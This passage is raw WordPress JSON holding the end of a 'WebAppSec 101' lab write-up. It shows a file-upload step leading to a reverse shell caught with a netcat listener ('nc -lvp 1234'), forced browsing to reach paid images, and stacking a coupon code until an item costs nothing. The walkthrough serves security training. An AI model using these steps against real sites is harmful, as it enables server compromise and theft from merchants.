data-original=\"https:\/\/miro.medium.com\/max\/690\/1*_6onbdFihwl_9HD3eV_ROw.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe47\" alt=\"WebAppSec 101\u63d2\u56fe47\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Success uploading<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/859\/1*MNRrBm1ULmceryCarPsvng.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe48\" alt=\"WebAppSec 101\u63d2\u56fe48\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Check in \/upload<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/654\/1*o79oEvTPE-fGaCXAqBK9jg.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe49\" alt=\"WebAppSec 101\u63d2\u56fe49\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/776\/1*oZpYCJtcLK5IM_s8K4O9kg.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe50\" alt=\"WebAppSec 101\u63d2\u56fe50\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Back to attacker\u2019s machine<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nc -lvp 1234<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Click on the file<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/760\/1*kyowloImLSItrqdh662jpQ.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe51\" alt=\"WebAppSec 101\u63d2\u56fe51\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Back to attacker\u2019s machine, now we have a shell<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/945\/1*YAO3-K20s1yQWusatkXy3w.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe52\" alt=\"WebAppSec 101\u63d2\u56fe52\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">3. Find a forceful browsing vulnerability<br>Try to buy some image<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1274\/1*zLvpxvlzeFt0mv4xDrz-dQ.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe53\" alt=\"WebAppSec 101\u63d2\u56fe53\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Before purchasing it, users can access high quality image<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1201\/1*L9aP1bOL_JoS7Y4qHThIVg.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe54\" alt=\"WebAppSec 101\u63d2\u56fe54\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">4. Logic flaw: try get an item for free<br>In home section, click What is going on today?<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/538\/1*OFs9qVD7lhfujT5GMYZyIQ.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe55\" alt=\"WebAppSec 101\u63d2\u56fe55\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Click What about tomorrow? until I have coupon code :&nbsp;<strong>SUPERYOU21<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/494\/1*WQezWFAKSd4nUvSWBS-2sg.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe56\" alt=\"WebAppSec 101\u63d2\u56fe56\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Back to the cart. Try to apply coupon twice<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/738\/1*IFXJK3PsWwlkfxJ5QaaAuw.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe57\" alt=\"WebAppSec 101\u63d2\u56fe57\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Apply until I don\u2019t have to pay<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/621\/1*F-C0n9IBkI8Qujtm6f9Qkg.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe58\" alt=\"WebAppSec 101\u63d2\u56fe58\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/649\/1*5G6COwT4ni6DCXYc8rgXug.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe59\" alt=\"WebAppSec 101\u63d2\u56fe59\" \/><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">This all THANKS<\/h4>\n","protected":false},"excerpt":{"rendered":"<p>[Task 1] Basic Description &amp; Objectives [Task 2] Wa [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-196","post","type-post","status-publish","format-standard","hentry","category-net-security"],"_links":{"self":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/196","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=196"}],"version-history":[{"count":0,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/196\/revisions"}],"wp:attachment":[{"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=196"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=196"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=196"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}